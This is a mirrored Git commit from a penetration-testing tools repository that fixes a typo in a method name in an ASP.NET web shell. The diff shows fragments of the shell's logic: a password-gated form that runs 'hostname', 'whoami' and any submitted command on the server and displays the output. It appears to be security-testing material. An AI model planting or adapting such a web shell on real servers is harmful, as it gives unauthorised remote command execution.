mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-24 11:31:36 +01:00
Update webshell.aspx
This commit is contained in:
parent
8501c75007
commit
4167f799bc
@ -18,7 +18,7 @@
|
|||||||
CommandTextbox.Value = Request.Form["CommandTextbox"];
|
CommandTextbox.Value = Request.Form["CommandTextbox"];
|
||||||
}
|
}
|
||||||
|
|
||||||
string ExcuteCommand(string arg)
|
string ExecuteCommand(string arg)
|
||||||
{
|
{
|
||||||
if (arg.Length >= 1)
|
if (arg.Length >= 1)
|
||||||
{
|
{
|
||||||
@ -40,11 +40,11 @@
|
|||||||
{
|
{
|
||||||
if (Request.Form["PasswordTextbox"] == Password)
|
if (Request.Form["PasswordTextbox"] == Password)
|
||||||
{
|
{
|
||||||
string h = Server.HtmlEncode(ExcuteCommand("hostname")).Trim();
|
string h = Server.HtmlEncode(ExecuteCommand("hostname")).Trim();
|
||||||
string u = Server.HtmlEncode(ExcuteCommand("whoami")).Trim();
|
string u = Server.HtmlEncode(ExecuteCommand("whoami")).Trim();
|
||||||
|
|
||||||
Hostname.Text = u + "@" + h;
|
Hostname.Text = u + "@" + h;
|
||||||
CommandOutput.InnerHtml = Server.HtmlEncode(ExcuteCommand(Request.Form["CommandTextbox"]));
|
CommandOutput.InnerHtml = Server.HtmlEncode(ExecuteCommand(Request.Form["CommandTextbox"]));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user